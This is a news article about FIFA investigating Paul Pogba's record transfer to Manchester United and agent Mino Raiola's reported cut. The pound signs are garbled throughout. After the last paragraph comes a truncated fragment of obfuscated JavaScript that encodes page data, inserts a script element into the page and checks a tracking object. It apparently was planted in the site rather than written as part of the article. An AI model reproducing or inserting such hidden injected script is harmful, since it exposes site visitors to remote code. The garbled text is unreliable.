FIFA investigating Paul Pogba’s record transfer to Manchester United

Paul Pogba’s world-record transfer from Juventus to Manchester United last year is the subject of a FIFA inquiry.

Following multiple reports in France, a FIFA spokesperson confirmed that its Transfer Matching System “has been requesting information on this matter,” but would not comment further.

Pogba’s Agent Suspected

It is not yet clear what aspect of the Frenchman’s A?89 million move transfer FIFA is investigating. Some news outlets hypothesised that it could surround agent Mino Raiola, who reportedly pocketed A?41m from the deal.

The investigation came outAin the same week the book “Football Leaks: The Dirty Business of Football”. It claims to reveal details of the Pogba deal including Raiola’s cut, and is due to be published in Germany.

A United spokesperson said that the club “do not comment on individual contracts,”. They added that, “FIFA have had the documents since the transfer was concluded in August.”

Pogba is in his second spell at Old Trafford, having left the club for Juventus for A?1.5m in 2012.

The France international first joined United from French side Le Havre in acrimonious circumstances in 2009. He returned to the club last summer for a world-record fee of 105m euros.

United also agreed to pay Juventus 5m euros (A?4.5m) in performance-related bonuses; and other costs, including 5m euros if Pogba signs a new contract.

When they confirmed the transfer, Juventus said the “economic effect” to their club was “about 72.6m euros”. 3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
